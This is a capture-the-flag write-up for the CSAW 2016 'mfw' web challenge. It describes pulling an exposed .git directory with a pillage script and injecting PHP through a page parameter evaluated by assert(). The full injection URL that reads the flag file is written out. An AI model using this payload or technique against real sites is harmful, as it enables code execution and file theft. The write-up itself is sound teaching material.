Rating:

![description](images/description.png)

The challenge contains a link to a website:
![site index](images/website.png)

Going to the about tab reveals that the site uses PHP and git.
![about page](images/about.png)

The server has it's git directory public available:
![git directory](images/git.png)

I used https://github.com/evilpacket/DVCS-Pillage to download the git directory contents:

`./gitpillage.sh http web.chal.csaw.io:8000/`

This gives access to the source of index.php:
~~~~

<html>
<head>

[irrelevant html stuff]...

<div class="container" style="margin-top: 50px">


</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
~~~~

After trying various ways to sneak '..' into the url, I remembered that assertions are generally not advised to be used in production code (at least in Python and PHP), so I looked up the php docs on assertions. It turns out that the string passed to the assert is evaluated as php code, meaning that we can inject code using the $page parameter.

After a lot of testing I came up with the solution:
~~~~
http://web.chal.csaw.io:8000?page=', '..') === false and $myfile = fopen("templates/flag.php", "r") and exit(fread($myfile,filesize("templates/flag.php"))) or true or strpos('
~~~~

When evaluated by index.php, the first assert becomes:
~~~~
assert("strpos('templates/', '..') === false and $myfile = fopen("templates/flag.php", "r") and exit(fread($myfile,filesize("templates/flag.php"))) or true or strpos('.php', '..') === false") or die("Detected hacking attempt!");
~~~~
This gets past the first assert, opens the flag.php file, and exits, printing its contents before the assertion fails.
![flag](images/flag.png)

Original writeup (https://github.com/xPowerz/CTF-Writeups/tree/master/2016/CSAW/mfw).